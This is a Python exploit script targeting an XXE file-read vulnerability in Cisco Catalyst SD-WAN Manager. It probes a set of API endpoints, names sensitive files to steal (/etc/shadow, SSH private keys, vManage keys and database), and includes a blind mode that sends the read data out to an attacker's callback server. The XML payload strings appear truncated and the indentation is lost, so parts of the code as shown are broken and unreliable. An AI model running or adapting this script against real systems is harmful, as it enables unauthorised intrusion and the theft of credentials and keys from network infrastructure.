#!/usr/bin/env python3
"""
CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE Arbitrary File Read
=======================================================================
Author: Security Research POC
Description: Exploits XML External Entity (XXE) injection vulnerability
in the web UI of Cisco Catalyst SD-WAN Manager to read
arbitrary files from the affected system.
CVSS Score: 8.6 (HIGH)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
DISCLAIMER:
This exploit is intended exclusively for authorized red team operations,
penetration testing, and security research on systems where you have explicit
written authorization. Any unauthorized use is illegal and strictly prohibited.
Use at your own risk.
"""
import requests
import sys
import argparse
import urllib3
from colorama import init, Fore, Style
# Disable SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)
def print_banner():
banner = f"""
{Fore.CYAN}
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE Exploit ║
║ XML External Entity Injection - Arbitrary File Read ║
╚══════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}
"""
print(banner)
def build_xxe_payload(file_path, callback_url=None):
"""
Builds the XXE payload with external DTD or local file read
Args:
file_path: Path to file to read on target system
callback_url: Optional URL for OOB exfiltration (for blind XXE)
Returns:
XML payload string
"""
# Classic in-band XXE payload - reads file directly in response
if not callback_url:
payload = f"""
]>
&xxe;
"""
else:
# OOB (Out-of-Band) payload for blind XXE
payload = f"""
">
%param1;
%exfil;
"""
return payload
def exploit_xxe(target, file_path, port=443, use_ssl=True, output_file=None):
"""
Main exploitation function
Args:
target: Target IP or hostname
file_path: Path to file to read
port: Target port (default 443)
use_ssl: Use HTTPS (default True)
output_file: Save output to file
"""
protocol = "https" if use_ssl else "http"
base_url = f"{protocol}://{target}:{port}"
# Common vulnerable endpoints based on Cisco SD-WAN Manager
vulnerable_endpoints = [
"/dataservice/device/template/feature/upload",
"/dataservice/device/config/upload",
"/dataservice/device/auditlog/export",
"/dataservice/device/policy/import",
"/dataservice/device/certificate/upload",
"/dataservice/device/backup/restore",
"/dataservice/device/software/upload"
]
headers = {
'Content-Type': 'application/xml',
'Accept': 'application/xml',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
print(f"{Fore.YELLOW}[*] Target: {target}:{port}")
print(f"{Fore.YELLOW}[*] File to read: {file_path}")
print(f"{Fore.YELLOW}[*] Testing vulnerable endpoints...{Style.RESET_ALL}\n")
for endpoint in vulnerable_endpoints:
url = base_url + endpoint
payload = build_xxe_payload(file_path)
print(f"{Fore.CYAN}[→] Trying: {endpoint}")
try:
response = requests.post(
url,
data=payload,
headers=headers,
verify=False,
timeout=10,
allow_redirects=False
)
# Check if the file content is in the response
if response.status_code == 200:
if file_path.replace("/", "_").replace(":", "") in response.text or \
"root:" in response.text or \
"daemon:" in response.text or \
len(response.text) > 100:
print(f"{Fore.GREEN}[✓] SUCCESS! File content retrieved:{Style.RESET_ALL}")
print(f"{Fore.WHITE}{'='*60}")
print(response.text[:5000]) # Limit output
print(f"{'='*60}{Style.RESET_ALL}")
if output_file:
with open(output_file, 'w') as f:
f.write(response.text)
print(f"{Fore.GREEN}[✓] Output saved to: {output_file}")
return True
else:
print(f"{Fore.YELLOW}[!] Response received but no file content detected")
else:
print(f"{Fore.RED}[✗] Failed with status: {response.status_code}")
except requests.exceptions.ConnectionError:
print(f"{Fore.RED}[✗] Connection error - endpoint may not be accessible")
except requests.exceptions.Timeout:
print(f"{Fore.RED}[✗] Timeout - endpoint may be slow or protected")
except Exception as e:
print(f"{Fore.RED}[✗] Error: {str(e)}")
print()
return False
def blind_xxe_with_oob(target, file_path, callback_server, port=443):
"""
Blind XXE exploitation using Out-of-Band technique
Args:
target: Target IP or hostname
file_path: Path to file to read
callback_server: Your server URL to receive exfiltrated data
port: Target port
"""
protocol = "https" if port == 443 else "http"
base_url = f"{protocol}://{target}:{port}"
# Endpoint that supports DTD references
endpoint = "/dataservice/device/template/import"
url = base_url + endpoint
# Payload that triggers external DTD
payload = f"""
%dtd;
%send;
]>
"""
headers = {'Content-Type': 'application/xml'}
print(f"{Fore.YELLOW}[*] Attempting Blind XXE with OOB exfiltration")
print(f"{Fore.YELLOW}[*] Ensure you have a HTTP server listening on: {callback_server}")
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
print(f"{Fore.CYAN}[i] Payload sent. Check your callback server for results.")
if response.status_code == 200:
print(f"{Fore.GREEN}[✓] Request accepted - blind injection likely successful")
else:
print(f"{Fore.YELLOW}[!] Unexpected response: {response.status_code}")
except Exception as e:
print(f"{Fore.RED}[✗] Error: {str(e)}")
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE Exploit',
epilog='Example: python3 cve-2026-20224.py -t 192.168.1.100 -f /etc/passwd'
)
parser.add_argument('-t', '--target', required=True,
help='Target IP address or hostname')
parser.add_argument('-f', '--file', default='/etc/passwd',
help='File path to read (default: /etc/passwd)')
parser.add_argument('-p', '--port', type=int, default=443,
help='Target port (default: 443)')
parser.add_argument('--no-ssl', action='store_true',
help='Use HTTP instead of HTTPS')
parser.add_argument('-o', '--output',
help='Save output to file')
parser.add_argument('--blind', action='store_true',
help='Use blind XXE technique')
parser.add_argument('--callback',
help='Callback URL for blind XXE exfiltration (e.g., http://your-server.com)')
args = parser.parse_args()
print_banner()
# Interesting files to read on Cisco SD-WAN Manager
interesting_files = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/group",
"/opt/vmanage/data/config/vmanage-config.conf",
"/opt/vmanage/data/database/vmanage.db",
"/opt/vmanage/conf/vmanage-server.properties",
"/var/log/vmanage/server.log",
"/var/log/vmanage/audit.log",
"/root/.ssh/id_rsa",
"/home/vmanage/.ssh/authorized_keys",
"/opt/vmanage/data/security/local.p12",
"/etc/vmanage/vmanage.key",
"/opt/vmanage/conf/vmanage-cert.pem"
]
if args.file in interesting_files:
print(f"{Fore.YELLOW}[!] Attempting to read sensitive file: {args.file}")
if args.blind and args.callback:
blind_xxe_with_oob(args.target, args.file, args.callback, args.port)
else:
success = exploit_xxe(
args.target,
args.file,
args.port,
not args.no_ssl,
args.output
)
if success:
print(f"\n{Fore.GREEN}[✓] Exploit completed successfully!{Style.RESET_ALL}")
else:
print(f"\n{Fore.RED}[✗] Exploit failed. The target may be patched or using a different endpoint.{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[i] Try: alternative endpoints, different file paths, or blind XXE technique")
if __name__ == "__main__":
main()